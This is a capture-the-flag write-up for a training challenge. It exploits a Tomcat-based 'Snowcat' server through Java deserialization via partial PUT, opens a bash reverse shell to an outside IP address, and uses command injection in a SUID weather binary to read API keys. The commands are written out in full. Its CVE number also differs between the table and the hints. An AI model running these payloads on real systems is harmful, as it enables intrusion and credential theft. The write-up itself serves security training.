Objective: Snowcat RCE and Privilege Escalation Difficulty Level: 3
Tom, in the hotel, found a wild Snowcat bug. Help him chase down the RCE! Recover and submit the API key not being used by snowcat. Location: Grand Hotel

Solution Overview

Starting with an account with minimal access to the system, the website was found to be running Apache Tomcat version 9.0.90. This version is susceptable to a Remote Code Execution (RCE) vulnerability. This vulnerability was exploited to gain the privileges of the web application service account. Three binaries were discovered with Set User ID (SUID), a special permission in Unix/Linux systems that allows a file to run with the privileges of the file owner rather than the user executing it. These files were susceptable to command injection, allowing commands to be executed as a user with higher privileges. This enabled access to the authorized_keys file.

Activity Primary Tactic MITRE ATT&CK Technique ID MITRE ATT&CK Technique Name
Error message leaks version information Reconnaissance T1593 Search Open Websites/Domains
Leverage Unauthenticated Remote Code Execution (RCE) in Apache Tomcat (CVE-2025-24815) Initial Access T1190 Exploit Public-Facing Application
Abuse SUID binaries Privelege Escalation T1548.001 Abuse Elevation Control Mechanism: Setuid and Setgid
Command Injection leading to Privilege Escalation Execution T1059.004 Command and Scripting Interpreter : Unix Shell

Detailed Solution

Click to expand

Using a nonexistent URL (http://localhost/nonexistant), an error message was triggered revealing that the system is running a potentially vulnerable version of Tomcat.

Tomcat Version Evidence

Using the payload below and changing the target gadget, identified that the CommonsCollections6 gadget could effectively be used to deliver a payload. The initial approach was to touch a file in the /tmp directory to confirm a successful attack.


java -jar /home/user/ysoserial.jar CommonsCollections6 'touch /tmp/pwned' > payload.bin
SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')
curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null
curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null
ls -la /tmp/pwned 2>/dev/null && echo "SUCCESS with touch!" || echo "Failed"

The payload resulted in "Success with Touch", indicating success.

Tomcat Initial Payload Evidence

The next step is to achieve a remote shell access to the target system. The following is the approach:

  1. Setup a linux machine in linode, and start a netcat listener on port 4444
  2. As the low level user, create a shell code in the /tmp directory
  3. Change permissions on the file to allow other users to access and execute
  4. Send a payload to set the SUID on the shell file, allowing it to run with elevated permissions
  5. Send a payload that uses setsid to detach the process completely from the invoking script and run the shell

The file contained the following code to create a shell.


bash -i >& /dev/tcp/69.164.211.205/4444 0>&1

Next, the following payload sent that set the SUID of the shell file.


java -jar /home/user/ysoserial.jar CommonsCollections6 'chmod u+s /tmp/reverse_shell.sh' > payload.bin

SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')

curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null

curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null

Initial payloads failed, due to the payload script completing before the shell was established, killing the shell. Using setsid to detach the shell process from the script, allowed it to establish the connection.

The following payload used setid and execute the payload, establishing shell access to the target.


java -jar /home/user/ysoserial.jar CommonsCollections6 'setsid bash /tmp/reverse_shell.sh >/dev/null 2>&1 &' > payload.bin

SESSION_ID=$(curl -s -c - http://localhost/ | grep JSESSIONID | awk '{print $7}')

curl -s -X PUT -H "Content-Length: $(wc -c < payload.bin)" -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" --data-binary @payload.bin "http://localhost/${SESSION_ID}/session" > /dev/null

curl -s -H "Cookie: JSESSIONID=.${SESSION_ID}" "http://localhost/" > /dev/null

This resulted in system access with the privileges the web service.

Snowcat Service Account User

Three binaries were discovered that the service account has access to with the SUID set:
These binaries have SUID set:

The commands are run with a valid key:

The weather user has access to the /usr/local/weather/keys directory. This was our target:

Keys Directory

The following command was injected into the binary command line. This created a file containing the contents of the keys folder and changed the file permissions to grant read access.


/usr/local/weather/temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6';cat /usr/local/weather/keys/* > /tmp/keys.txt;chmod 644 /tmp/keys.txt;echo '"

The first key listed is the one used with the temperature binary. The second key is not used by snowcat.


cat /tmp/keys.txt
4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
8ade723d-9968-45c9-9c33-7606c49c2201

Answer: 8ade723d-9968-45c9-9c33-7606c49c2201

Tools Reference

Tools Used Tool Version
ysoserial.jar Version: v0.0.6 Release Date: June 28, 2022
Linux Linode System Ubuntu 24.04 LTS
netcat v1.10-50
bash v5.2.37(1)-release
curl 8.11.0

Hints Reference

Provided By Hint
Santa Snowcat is closely related to Tomcat. Maybe the recent Tomcat Remote Code Execution vulnerability (CVE-2025-24813) will work here.
Santa Maybe we can inject commands into the calls to the temperature, humidity, and pressure monitoring services.
Santa If you're feeling adventurous, maybe you can become root to figure out more about the attacker's plans.
Thomas Hessman We've lost access to the neighborhood weather monitoring station. There are a couple of vulnerabilities in the snowcat and weather monitoring services that we haven't gotten around to fixing. Can you help me exploit the vulnerabilities and retrieve the other application's authorization key? Enter the other application's authorization key into the badge. If Frosty's plan works and everything freezes over, our customers won't be having the best possible experience-they'll be having the coldest possible experience! We need to stop this before the whole neighborhood becomes one giant freezer.

Acknowledgements

Provided By Notes
none none